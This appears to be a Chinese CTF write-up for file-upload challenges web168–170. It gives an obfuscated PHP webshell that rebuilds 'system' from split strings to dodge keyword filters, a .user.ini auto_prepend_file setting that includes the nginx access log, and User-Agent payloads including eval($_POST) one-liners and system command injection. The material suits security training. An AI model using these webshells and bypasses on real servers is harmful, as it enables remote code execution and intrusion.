web168(基础免杀)
通过测试只可以上传png图片,
但是上传后没有任何回显,
并且对eval,system还有$_POST
和$_GET
进行过滤,
$_REQUEST还可以用
PHP $_REQUEST
用于收集HTML表单提交的数据。
用$_REQUEST
提交两次数据,一次为参数,一次为函数system
php免杀绕过
miansha.php
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
组合为system
上传miansha.png抓包修改后缀为php
访问/upload/miansha.php,直接rce拿到flag
web169
简单测试发现过滤一堆函数,和关键字
但是配置文件任可以抓包上传
尝试日志包含
GIF89a
auto_prepend_file=/var/log/nginx/access.log
修改UA,
User-Agent: <?=`tac ../f*` ?>
User-Agent: <?=`ls ../` ?>
User-Agent: <?=`echo '11111111'` ?>
User-Agent: <?php system('tac ../f*');?>
User-Agent: <?php @eval($_POST['xiaoyu']); ?>
随后抓包上传一个无内容的php文件,访问php
都是老样子,没能执行成功,
发现日志包含的地方错了
一句话要包含在php文件的UA头
访问,rce拿到flag
web170(.user.ini包含)
上一题的一样,有点区别就是做了个文件头检查
不过我习惯检不检查都加,所以一样的思路